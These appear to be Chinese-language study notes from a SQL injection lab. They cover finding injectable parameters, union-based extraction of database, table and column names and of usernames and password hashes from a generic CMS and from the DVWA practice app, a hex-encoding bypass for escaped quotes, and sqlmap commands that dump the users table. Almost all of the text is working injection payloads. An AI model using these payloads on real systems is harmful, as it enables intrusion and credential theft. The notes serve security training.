CMS
-
寻找可能存在SQL注入点的页面
-
GET 方式:通过把参数附加在URL中进行提交
寻找如下形式的网页链接
http://www.xxx.com/".asp?table=xx
http://www.xxx.com/".php?id=xx
http://www.xxx.com/".aspx?id=xx
http://www.xxx.com/".jsp?id=xx在URL后加入单引号查看是否存在注入漏洞,报错则说明存在注入漏洞
-
-
POST方式:通过把参数封装在数据包内容中进行提交
寻找存在表单元素的页面
- 文本框
- 单选按钮
- 复选框
- 文件浏览框
- 提交按钮
在文本框输入的内容后加入单引号查看是否存在注入漏洞,若报错则说明存在注入漏洞
-
确认注入点类型
-
数字型
在URL后加入 and 1=1——能正常返回数据
在URL后加入 and 1=2——查询不到数据
-
字符型
在URL后加入 ' and 1=1 --+ ——能正常返回数据
在URL后加入 ' and 1=2# ——查询不到数据
-
-
猜解当前页面中的字段总数
在URL后加 order by 3
逐步调整猜解的字段数
直到测试出有数据返回的最大值
-
猜解页面中显示的字段编号
在URL后加 and 1=2 union select 1,2,3,4,5....写到第三步测出来的最大值为止
union联合查询
- 两条语句的列数要相同
- 前面的语句如果没有结果,那么输入后面语句的结果
页面中会显示相应的字段出现的位置
-
猜解当前网站数据库名称
在URL后加 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15
11号字段的位置会显示出当前数据库的名称
-
猜解当前数据库中所有表的名称
在URL后加and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,group_concat(table_name),13,14,15 from information_schema.tables where table_schema=database()
12号字段位置会显示当前数据库中所有表的名称
-
猜解指定表中所有字段名称
在URL后加and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(column_name),15 from information_schema.columns where table_name = 'cms_users'
14号字段的位置会显示cms_users表中的所有字段名称
-
猜解cms_users表中的具体内容
在URL后加and 1=2 union select 1,2,username,4,5,6,7,8,9,10,11,password,13,14,15 from cms_users
3号和12号字段的位置会分别显示用户名和密码
- 对猜解出的MD5内容进行处理
问题:正常情况下,用户名和密码只会显示数据表中的第一行数据
解决方法:调整指针的位置
and 1=2 union select 1,2,username,4,5,6,7,8,9,10,11,password,13,14,15 from cms_users limit 1,1
DVWA
账号:admin
密码:password
普通注入
-
低级别
- 输入'发现存在SQL注入
-
判断字符类型为字符型
1' and 1=1#——正常
1' and 1=2#——为空
-
判断字段总数
1' order by 3#
1' order by 2#
说明字段总数为2
-
猜解页面中字段编号
1' and 1=2 union select 1,2#
-
猜解当前网站数据库名称
1' and 1=2 union select 1,database()#
-
猜解当前网站数据表名称
1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'dvwa'#
-
猜解当前网站表中的列名
1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'#
-
猜解表中的具体内容
1' and 1=2 union select user,password from users#
- 利用在线MD5破解
- 输入'发现存在SQL注入
-
中级别
使用burpsuite 抓包注入
安全配置对单引号做了转义——需要通过16进制编码绕过
即0x7573657273——users
其他步骤省略与低级别几乎一样
爆字段的时候需要将'users'进行16进制编码绕过
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name = 0x7573657273
-
高级别
设置了专门的弹窗,此时依然可以使用sqlmap进行破解
-
获取当前数据库信息
sqlmap --url="http://192.168.16.129/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-url="http://192.168.16.129/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=kt8vqlpg9ug7t6loeo9q905ho4" --batch --current-db
--url="查询数据提交页面时的页面url"
--data="表单提交的数据"
--second-url="显示查询结果页面的url"
--cookie="显示cookie信息"(通过抓包获取)
--batch是让sqlmap自动选择执行过程中出现的询问请求
–-current-db(进一步获取当前数据库)
-
获取当前数据表信息
sqlmap --url="http://192.168.16.129/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-url="http://192.168.16.129/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=kt8vqlpg9ug7t6loeo9q905ho4" --batch -D dvwa --tables
-
获取所选表中列的信息
sqlmap --url="http://192.168.16.129/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-url="http://192.168.16.129/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=kt8vqlpg9ug7t6loeo9q905ho4" --batch -D dvwa -T users --columns
-
获取用户名和密码
sqlmap --url="http://192.168.16.129/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-url="http://192.168.16.129/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=kt8vqlpg9ug7t6loeo9q905ho4" --batch -D dvwa -T users -C user,password --dump
-